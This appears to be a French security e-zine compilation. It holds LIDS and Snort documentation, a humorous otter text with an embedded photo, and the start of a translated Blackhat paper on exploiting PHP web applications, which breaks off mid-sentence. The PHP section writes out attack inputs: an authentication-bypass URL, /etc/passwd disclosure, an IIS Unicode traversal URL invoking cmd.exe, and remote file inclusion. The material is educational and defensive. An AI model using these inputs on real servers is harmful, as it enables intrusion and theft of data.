http://www.lwn.net/1999/0408/kernel.phtml, http://www.lwn.net/1999/0415/kernel.phtml et http://www.lwn.net/1999/1202/capabilities.phtml pour comprendre les "capabilities" et leur danger. Sécurité réseau. LIDS fournis des améliorations au niveau sécurité réseau.. Sécurité réseau avec "capbility" Avec les capability, nous pouvons augmenter la sécurité réseau. Nous pouvons faire de l'anti-sniffing, empècher l'ouverture d'un port infèrieur à 1024, empècher la modification des règles du firewall et la table de routage. Donc je vous conseille d'examiner avec attention chaque "capability" pour comprendre son sens. Détecteur de scan au niveau kernel LIDS fournis un détecteur de scan au niveau kernel pour pouvoir détecter qui l'a scanné. Cette fonction peut détecter des scan mi-ouvert, nomaux etc. L'utilisation d'outils tels que nmap, satan peut être détecté Ceci est très utile quand "raw socket" est désactivé. Dans ce cas, des outils fonctionnant de détection basés sur le sniff ne pourront fnctionner. Si vous souhaitez cette fonctionnalité, il vous faudra la sélectionner au moment de la compilation du kernel. Systeme de réponse face à l'intrusion. Quand LIDS détecte quelque chose violant les règle définient, il peut répondre à cette action par les méthodes suivantes. Journalise le message Quand quelqu'un viole les règles, lids_security_log journalisera les messages grace à klogd, la journalisation à aussi les capacités de lutter contre l'inondation "anti_logging_flood". Vous pouvez l'activer lors de la compilation du kernel. Journaliser les messages à travers un serveur de mail. LIDS à une nouvelle fonctionnalité pour envoyer les messages sur votre compte email. Vous pouvez déninir l'adresse IP du serveur de mail, l'adresse email, etc au moment de la compilation du kernel. Extinction de la console Quand un utilisateur viole une règle, le système fermera la session de cet utilisateur. Merci. Première je tiens à remercier mon amie, Kate lee, qui m'encourage à l'écriture de documents de ce type, ceci est une dédicace à elle. Je souhaite aussi remercier Philippe Biond et Christophe Long qui m'a beaucoup aidé sur le projet. Sans eux, ce projet n'aurait pas pu si bien se dévellopper. De nombreux remerciements à tous les utilisateurs de LIDS, sans leurs contributions et discussions, LIDS n'aurait pas eu de si bonnes idées. Traduction Document traduit le 24/06/2000 par hertz@securix.org [ndt: Certains mots ont été laissés tels quels, il est très souvent plus facile d'exprimer une notion technique en anglais, et souvent sa traduction en est impossible, du au fait que un grand nombre de mots n'existent pas en français ou sont encore que peu employés, mieux vaut se référer au jargon file.] -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- Snort hertz@securix.org 18-06-2000 Snort. Début de documentation. Présentation de Snort "Snort est un detecteur d'intrusion, capable d'analyser en temps réel le trafic et les paquets IP. Il peut analyser le protocole, et détecter par rapport à une base de données de DOS et d'attaques diverses et variées (overflows, scans, SMB probes, CGI attacks, OS fingerprinting, et plein d'autres...) les tentatives d'intrusions. De base Snort utilise des régles pour collecter ou laisser passer le trafic, et posède un module de détection. le journal alerte utilise soit syslog ou un fichier personnel, ou encore un winpopup pour les clients smb. http://www.clark.net/~roesch/security.html il existe une petit programme pour convertir le journal d'alerte en page html. Consulter http://www.whitehats.com/ pour avoir la base de donnée d'intrusion. ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, _ ____________________ _ -*5*- `^°*;:,.> Loutre Vs Castor<.,:;*°^` _____________________________/¯¯¯ Brice Berger ¯¯¯\_____________________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, La Loutre Petit mammifère carnivore à pelage brun dense et court, la loutre possède également des pattes palmées et une queue épaisse. Ce qui fait que la loutre est essentiellement un animal aquatique. Se nourrissant donc de poissons, la loutre ne rechigne pas, bien qu'elle soit friande de saumon, devant des batraciens ou des mollusques. Elle ne se montre pas difficile. A vrai dire, la loutre s'en tape joyeusement, pour peu qu'elle puisse s'alimenter. Elle vit aussi bien en eau douce, dans les rivières, que dans l'eau de mer, comme dans le Pacifique nord. Ce n'est pas un peu de sel qui lui fait peur. Nettement plus intelligente que le dauphin ou l'otarie, la loutre, pour se protéger des orques et pour ne pas dériver dans les courants marins, s'amarre dans de grandes algues, et déguste au soleil quelques coquillages qu'elle éclate sur son petit bidon avec des galets. Puis, une fois repue, elle dort tranquillement, laissant aux oiseaux les restes. Ce qui prouve de manière irréfutable sa supériorité intellectuelle, car jamais on ne verra une loutre s'exhiber dans un Aqualand. En rivière, l'ennemi de la loutre est le castor et le trappeur canadien. Il y a une grande inimitié entre la loutre et le castor. Les motifs de querelles entre loutre et castor sont innombrables et remontent à la nuit des temps. On reconnaît le castor à ses dents avants proéminentes, signe d'une grande vulgarité et de perfidie. Ce dernier est prêt à toutes les bassesses et n'hésite pas à dénoncer la loutre au trappeur. Quand ce scélérat, ce fourbe, ne nuit pas à la loutre, il passe le plus clair de son temps à martyriser les arbres, les tordant, les découpant, les rongeant, sectionnant chaque fibre d'un gloussement guttural lugubre. C'est donc tout naturellement que la loutre ne peut pas sacquer ce petit enfoiré de castor, dont la fatuité le pousse à construire (maladroitement) de piètres châteaux, qui ressemblent davantage à des tas de bois superposés. En plaçant des charges de TNT dans les terriers de ce félon, la loutre fait oeuvre de salut public. Elle n'a pas grand chose à craindre des trappeurs, car la loutre se rit des pièges que ces gros nigauds utilisent. Des fois, elle pousse l'insolence jusqu'à désamorcer les pièges avec des hérissons. D'autre part, elle ne redoute pas non plus les coups de carabines, car avec sa queue épaisse, elle joue au jokari avec les balles. Parfois, ingénieuse qu'elle est, elle fabrique de petites catapultes et bombarde le trappeur avec les enfants du castor, qui sont d'excellents projectiles. De plus, le trappeur abandonne souvent la partie. Animal sympathique, qui mérite toute notre estime, la loutre se fout de tout et plus particulièrement des castors. La loutre n'est pas bêcheuse ni aussi rustre que le castor. La loutre vit sa vie, merde ! (quoi, j'veux dire !) Elle l'invente sa vie, au quotidien, contre tous les castors. Elle n'a pas une petite vie réglée, rangée. Elle vit au grand air, la loutre. Elle envoie tout valdinguer, la loutre, elle envoie chier tout le monde, les petits chefs arrogants, pétris de sérieux, les connards de castors ! Mais ouais, elle dit merde aux tabous, la loutre, à toutes ces conneries. Et même, elle TE CHIE DESSUS la loutre ! Mais ouais ! Elle en a rien à foutre de ce que tu penses d'elle, la loutre. Elle vit sa vie, c'est tout. [ndt: suite a des recherches il s'est avere tres difficile de savoir qui a écrit ce texte en premier; il semblerait que ce dernier soit deja un pompage partiel d'un compte rendu sérieux qui était lui meme pompé dans un bouquin. Bref si l'auteur se reconnait, qu'il nous contacte afin qu'on rectifie les crédits associés a cet article] Références : http://www.chez.com/sheular/brice.htm http://perso.wanadoo.fr/doublepictures/loutre.htm [added 19-jan-2002] : Le texte sur les loutres figurant sur mon site n'est pas de moi mais d'un ami: Le Docteur Brice Berger. Le problème que ce dernier est mort dans un accident de moto en septembre 2000. Je te donne l'autorisation de le publier, puisque il m'appartiens, mais je désire que figure son nom et un photo de lui que je t'envoie. Content-Type: image/jpeg; name="CADBRI2.jpg" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="CADBRI2.jpg" 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 Q+apgC9a+aWIQ7NUndO2f//Z ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, _ __________________________ _ -*6*- `^°*;:,.>Vulrérabilités avec PHP <.,:;*°^` _____________________________/¯¯¯¯¯¯¯¯¯ tobozo ¯¯¯¯¯¯¯¯¯\_______________________ ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø, <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> > Exploitation des vulnérabilités avec les applications PHP < < Inspiré du Document original de Shaun Clowes SecureReality > > Traduction par tobozo@users.sourceforge.net < <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> --- < Sommaire > -------------------------------------------------------------- 1. Introduction 2. Tour d'horizon 3. Variables Globales 4. Fichiers distants 5. Upload des fichiers 6. Fichiers de Librairies 7. Fichiers de sessions 8. Codage rapide et tableaux associatifs 9. Fonctions ciblées 10. Protéger PHP 11. Responsabilité - Langage et Programmeur 12. Autre --- < 1. Introduction > ------------------------------------------------------- Ce document est une traduction basée sur un discours lu aux conférences Blackhat de Singapour et Hong Kong en avril 2001. A l'origine le discours était intitulé "Forcer l'entrée par la porte de devant - L'impact des applications web sur des modeles traditionnels de sécurité", et traitait des problemes rencontrés sur des applications ASP, les trous exposés et les méthodes utilisées pour les mettre a jour. Le reste de la conference était consacré a PHP. Pour les néophytes, PHP veut dire "PHP Hypertext Preprocessor" (encore un acronyme récursif ;). C'est un langage de programmation (spécialement concu pour le web) dans lequel le code PHP est inclus avec le code html des pages web. Quand un client envoie une requete pour une page, le serveur web passe la requete a l'interpreteur en vue d'executer le code, le resultat est envoyé au client. Evidemment cette approche est bien plus appropriée pour traiter des problemes rencontrés avec PHP qu'avec des langages comme Perl ou C. PHP (par opposition avec d'autres langages du web) a les caracteristiques suivantes : + Interpreté + Execution rapide - L'interpreteur est inclus dans le serveur web sans fork() ou paramatres de configuration supplementaires. + Riche en possibilités - Des centaines de fonctions tres souples + Syntaxe simple - Déclarations de Variable optionnelles, nommage intuitif des fonctions On va expliquer dans ce document pourquoi les deux dernieres caracteristiques font que les applications écrites en PHP sont faciles a attaquer et difficiles a défendre. On finira par une distribution de palmes et de bonnets d'anes en matiere de sécurité logicielle. --- < 2. Tour d'horizon > ----------------------------------------------------- Presque toutes les observations de ce document se réferent a une installation par défaut de PHP 4.0.4pl1 (avec MySQL, PostgreSQL, IMAP et le support OpenSSL activé) en tant que module avec Apache 1.3.19 sur une machine linux. Evidemment les resultats peuvent varier selon les versions et l'age des installations, ainsi plusieurs versions de PHP peuvent avoir un comportement radicalement différent pour une meme situation. Bien que les fans du PHP défendent ce langage en plaidant l'extreme configurabilité de ce systeme, la plupart d'entre eux ne vont pas modifier les valeurs par défaut du package lors de la mise en place par peur de voir la majorité des applications qu'ils utilisent ne pas fonctionner. Le débat autour du fichier de configuration PHP est cependant nécéssaire pour ceux qui se sentent concernés par la sécurité de telles installations. --- < 3. Variables Globales > ------------------------------------------------ Comment mentionné plus haut, les variables PHP n'ont pas besoin d'etre déclarées, elles sont automatiquement créées lors de leur premiere utilisation. Elle n'ont pas besoin non plus d'etre typées, le typage etant également effectué automatiquement en référence au contexte dans lequel elles sont utilisées. Ces faits rendent les choses tres pratiques d'un point de vue programmation (et présentent des horizons tres larges a ceux qui préferent les langages de développement rapides pour les applications). Aussitot qu'une variable est créée, elle peut etre référencée n'importe ou dans le programme (sauf les fonctions dans lesquelles il faut explicitement les inclure avec la fonction 'global'). Le résultat des ces caractéristiques est que ces variables sont rarement initialisées par le programmeur lui meme, car apres tout la création initiale d'une variable lui voit assigner une valeur nulle (ex : ""). Apparemment la principale fonction d'une application web PHP est de récuperer des données du client (variables de formulaire, fichiers uploadés, cookies, etc), de procéder au traitement de ces données et de renvoyer un résultat basé sur ces memes données. Afin de simplifier au maximum la tache au script PHP lors de l'acces, les données lui sont fournies sous forme de variables globales PHP. Considérons l'exemple suivant basé sur du code HTML :
Ce code affiche une boite texte et un bouton submit. Quand l'utilisateur clique sur le bouton submit, le script test.php sera éxécuté pour procéder au traitement des données envoyées. Au moment de son éxécution, la variable $hello se verra assigner comme valeur le texte contenu dans le champ input du meme nom (), le meme texte que l'utilisateur a tapé dans la boite texte avant de cliquer sur submit. Il est tres important de noter les implications que cela engendre, cela veut dire qu'un petit malin peut créer n'importe quelle variable et la voir déclarée globalement avec les autres variables. Si au lieu d'utiliser le formulaire ci dessus, le petit malin appelle directement l'url comme suit : "http://server/test.php?hello=salut&setup=jambon", non seulement la variable $hello se verra assigner la valeur "salut", mais aussi la variable $setup sera créée et se verra assigner la valeur "jambon", ces deux variables étant globales et utilisables sur tout le script test.php. Ceci peut devenir un réel probleme dans le cas d'un script qui a pour role d'authentifier un utilisateur avant d'afficher des informations importantes, par exemple : Lors d'une utilisation "normale" le code ci-dessus va comparer un mot de passe avec une valeur donnée (hello), puis décider si l'utilisateur distant peut accéder ou pas aux infos importantes en stockant une valeur dans la variable $auth. Le probleme c'est que le code part (a tort) du principe que la variable $auth sera vide jusqu'a ce qu'elle se voit assigner une valeur. Avec la méthode citée plus haut on peut donc facilement construire une URL comme 'http://server/test.php?auth=1' qui permettra de ne pas avoir a fournir de password et d'etre quand meme considéré comme authentifié. Pour résumer, on peut dire qu'un script PHP "ne peut pas faire confiance a N'IMPORTE QUELLE variable qui n'a pas été EXPLICITEMENT assignée". D'ailleurs plus un script traite de variables et plus la tache est ardue pour sécuriser le tout (ndt : heureusement il y a les classes ;0). Une approche plus protective consiste a vérifier qu'une variable ne fait pas partie du tableau HTTP_GET/POST_VARS[] (un choix en fonction de la methode utilisée pour soumettre les formulaires, GET ou POST). Quand PHP est configuré avec 'track_vars' (par défaut), les variables envoyées par l'utilisateur sont disponibles globalement mais aussi sous forme de tableaux associatifs comme mentionné plus haut. Il est quand meme important de noter qu'il existe QUATRE tableaux associatifs differents et qui peuvent etre sujets a des attaques : -HTTP_GET_VARS pour les variables envoyées dans l'url (ou formulaire avec la methode GET). -HTTP_POST_VARS pour les variables postées par formulaire avec la methode POST d'une requete HTTP -HTTP_COOKIE_VARS pour les variables envoyées comme partie du header d'un cookie dans une requete HTTP -HTTP_POST_FILES tableau présent dans la plupart des versions récentes de PHP, correspond aux infos relatives a un fichier uploadé via methode POST C'est l'utilisateur final qui décide quelle méthode utiliser pour soumettre ces variables, une simple requete peut parfaitement placer des variables dans ces quatres différents tableaux, un script qui se veut sécurisé a besoin de les vérifier tous les quatres (a l'exception de HTTP_POST_FILES qui ne devrait pas poser de problemes excepté dans certaines circonstances qu'on pourrait qualifier d'exceptionnelles). --- < 4. Fichiers distants > ------------------------------------------------- Sans vouloir radoter, PHP est un langage extremement riche. Il est livré avec une panoplie tres complete de fonctionnalités et fait de son mieux pour faciliter la tache au codeur (ou web designer comme c'est souvent le cas). D'un point de vue sécurité, plus les fonctionnalités offertes sont riches, moins les possibilités sont intuitives, et plus il est difficile de sécuriser les applications qui y sont écrites (merci m$ pour ce joli theoreme). Un excellent exemple de fonctionnalité est l'utilisaton distante de fichiers avec PHP : La portion de code qui suit est censée ouvrir un fichier : \n"); ?> Ce code va essayer d'ouvrir en lecture le fichier dont le nom est spécifié dans la variable $filename et affiche une erreur si l'ouverture échoue. Certains sites en ont fait les frais, car il est facile de forcer la déclaration de $filename dans l'url et ainsi d'acceder au contenu de fichiers sensibles sur le serveur (ex : /etc/passwd), il est aussi possible de lire des données en provenance de serveurs distants, ftp, etc. Les fonctionnalités distantes d'acces aux fichiers de PHP rendent possible l'utilisation des fonctions fichiers sur des cibles locales comme distantes et ceci en toute transparence. ex : http://cible/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir PHP va effectuer une requete HTTP en direction du serveur "cible" (et tester au passage la faille unicode). Ca devient encore plus intéressant dans le contexte de quatre autres fonctions qui tolerent les fonctionnalités d'acces aux fichiers distants ( *** sauf pour windows ***), include(), require(), include_once() et require_once(). Ces fonctions prennent un nom de fichier, et le lisent comme etant du code PHP, elles sont utilisées typiquement dans un contexte d'inclusion de librairies de code, un cas ou des portions de script réutilisables sont stockées dans des fichiers qui seront inclus quand c'est nécessaire (ex:phplib). Examinons cette portion de code : On peut présumer que $libdir est une variable de configuration a qui on a assigné une valeur égale au répertoire qui contient le fichier langages.php et ou se trouvent d'autres librairies. Si un petit malin peut forcer la déclaration de cette variable il lui devient possible de rediriger la requete vers lui meme et ainsi de substituer son code a celui des librairies en remplacant le chemin d'acces local par un chemin d'acces distant. En final il ne serait possible que d'acceder a un fichier langages.php situé dans un repertoire ou une url de son choix. Par exemple, si le petit malin place un fichier 